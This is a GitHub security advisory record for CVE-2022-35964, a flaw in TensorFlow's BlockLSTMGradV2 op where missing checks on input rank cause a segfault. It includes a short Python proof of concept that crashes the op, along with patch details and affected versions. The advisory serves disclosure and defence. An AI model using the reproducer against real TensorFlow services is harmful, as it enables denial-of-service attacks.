{"id":"GHSA-f7r5-q7cx-h668","summary":"TensorFlow vulnerable to segfault in `BlockLSTMGradV2`","details":"### Impact\nThe implementation of `BlockLSTMGradV2` does not fully validate its inputs.\n - `wci`, `wcf`, `wco`, `b` must be rank 1\n - `w`, cs_prev`, `h_prev` must be rank 2\n - `x` must be rank 3\nThis results in a a segfault that can be used to trigger a denial of service attack.\n```python\nimport tensorflow as tf\n\nuse_peephole = False\nseq_len_max = tf.constant(1, shape=[], dtype=tf.int64)\nx = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)\ncs_prev = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)\nh_prev = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)\nw = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)\nwci = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)\nwcf = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)\nwco = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)\nb = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)\ni = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)\ncs = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)\nf = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)\no = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)\nci = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)\nco = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)\nh = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)\ncs_grad = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)\nh_grad = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)\ntf.raw_ops.BlockLSTMGradV2(seq_len_max=seq_len_max, x=x, cs_prev=cs_prev, h_prev=h_prev, w=w, wci=wci, wcf=wcf, wco=wco, b=b, i=i, cs=cs, f=f, o=o, ci=ci, co=co, h=h, cs_grad=cs_grad, h_grad=h_grad, use_peephole=use_peephole)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [2a458fc4866505be27c62f81474ecb2b870498fa](https://github.com/tensorflow/tensorflow/commit/2a458fc4866505be27c62f81474ecb2b870498fa).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.","aliases":["BIT-tensorflow-2022-35964","CVE-2022-35964","PYSEC-2026-3170","PYSEC-2026-3318","PYSEC-2026-988"],"modified":"2026-07-13T16:57:14.246772043Z","published":"2022-09-16T22:14:00Z","database_specific":{"nvd_published_at":"2022-09-16T21:15:00Z","cwe_ids":["CWE-20"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2022-09-16T22:14:00Z"},"references":[{"type":"WEB","url":"https://github.com/tensorflow/tensorflow/security/advisories/GHSA-f7r5-q7cx-h668"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2022-35964"},{"type":"WEB","url":"https://github.com/tensorflow/tensorflow/commit/2a458fc4866505be27c62f81474ecb2b870498fa"},{"type":"PACKAGE","url":"https://github.com/tensorflow/tensorflow"},{"type":"WEB","url":"https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0"}],"affected":[{"package":{"name":"tensorflow","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.7.2"}]}],"versions":["0.12.0","0.12.1","1.0.0","1.0.1","1.1.0","1.10.0","1.10.1","1.11.0","1.12.0","1.12.2","1.12.3","1.13.1","1.13.2","1.14.0","1.15.0","1.15.2","1.15.3","1.15.4","1.15.5","1.2.0","1.2.1","1.3.0","1.4.0","1.4.1","1.5.0","1.5.1","1.6.0","1.7.0","1.7.1","1.8.0","1.9.0","2.0.0","2.0.1","2.0.2","2.0.3","2.0.4","2.1.0","2.1.1","2.1.2","2.1.3","2.1.4","2.2.0","2.2.1","2.2.2","2.2.3","2.3.0","2.3.1","2.3.2","2.3.3","2.3.4","2.4.0","2.4.1","2.4.2","2.4.3","2.4.4","2.5.0","2.5.1","2.5.2","2.5.3","2.6.0","2.6.0rc0","2.6.0rc1","2.6.0rc2","2.6.1","2.6.2","2.6.3","2.6.4","2.6.5","2.7.0","2.7.0rc0","2.7.0rc1","2.7.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/09/GHSA-f7r5-q7cx-h668/GHSA-f7r5-q7cx-h668.json"}},{"package":{"name":"tensorflow","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.8.0"},{"fixed":"2.8.1"}]}],"versions":["2.8.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/09/GHSA-f7r5-q7cx-h668/GHSA-f7r5-q7cx-h668.json"}},{"package":{"name":"tensorflow","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.9.0"},{"fixed":"2.9.1"}]}],"versions":["2.9.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/09/GHSA-f7r5-q7cx-h668/GHSA-f7r5-q7cx-h668.json"}},{"package":{"name":"tensorflow-cpu","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow-cpu"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.7.2"}]}],"versions":["1.15.0","2.1.0","2.1.1","2.1.2","2.1.3","2.1.4","2.2.0","2.2.1","2.2.2","2.2.3","2.3.0","2.3.1","2.3.2","2.3.3","2.3.4","2.4.0","2.4.1","2.4.2","2.4.3","2.4.4","2.5.0","2.5.1","2.5.2","2.5.3","2.6.0","2.6.1","2.6.2","2.6.3","2.6.4","2.6.5","2.7.0","2.7.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/09/GHSA-f7r5-q7cx-h668/GHSA-f7r5-q7cx-h668.json"}},{"package":{"name":"tensorflow-cpu","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow-cpu"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.8.0"},{"fixed":"2.8.1"}]}],"versions":["2.8.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/09/GHSA-f7r5-q7cx-h668/GHSA-f7r5-q7cx-h668.json"}},{"package":{"name":"tensorflow-cpu","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow-cpu"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.9.0"},{"fixed":"2.9.1"}]}],"versions":["2.9.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/09/GHSA-f7r5-q7cx-h668/GHSA-f7r5-q7cx-h668.json"}},{"package":{"name":"tensorflow-gpu","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow-gpu"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.7.2"}]}],"versions":["0.12.0","0.12.1","1.0.0","1.0.1","1.1.0","1.10.0","1.10.1","1.11.0","1.12.0","1.12.2","1.12.3","1.13.1","1.13.2","1.14.0","1.15.0","1.15.2","1.15.3","1.15.4","1.15.5","1.2.0","1.2.1","1.3.0","1.4.0","1.4.1","1.5.0","1.5.1","1.6.0","1.7.0","1.7.1","1.8.0","1.9.0","2.0.0","2.0.1","2.0.2","2.0.3","2.0.4","2.1.0","2.1.1","2.1.2","2.1.3","2.1.4","2.2.0","2.2.1","2.2.2","2.2.3","2.3.0","2.3.1","2.3.2","2.3.3","2.3.4","2.4.0","2.4.1","2.4.2","2.4.3","2.4.4","2.5.0","2.5.1","2.5.2","2.5.3","2.6.0","2.6.1","2.6.2","2.6.3","2.6.4","2.6.5","2.7.0","2.7.0rc0","2.7.0rc1","2.7.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/09/GHSA-f7r5-q7cx-h668/GHSA-f7r5-q7cx-h668.json"}},{"package":{"name":"tensorflow-gpu","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow-gpu"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.8.0"},{"fixed":"2.8.1"}]}],"versions":["2.8.0"],"database_specific":{"source":"https://github.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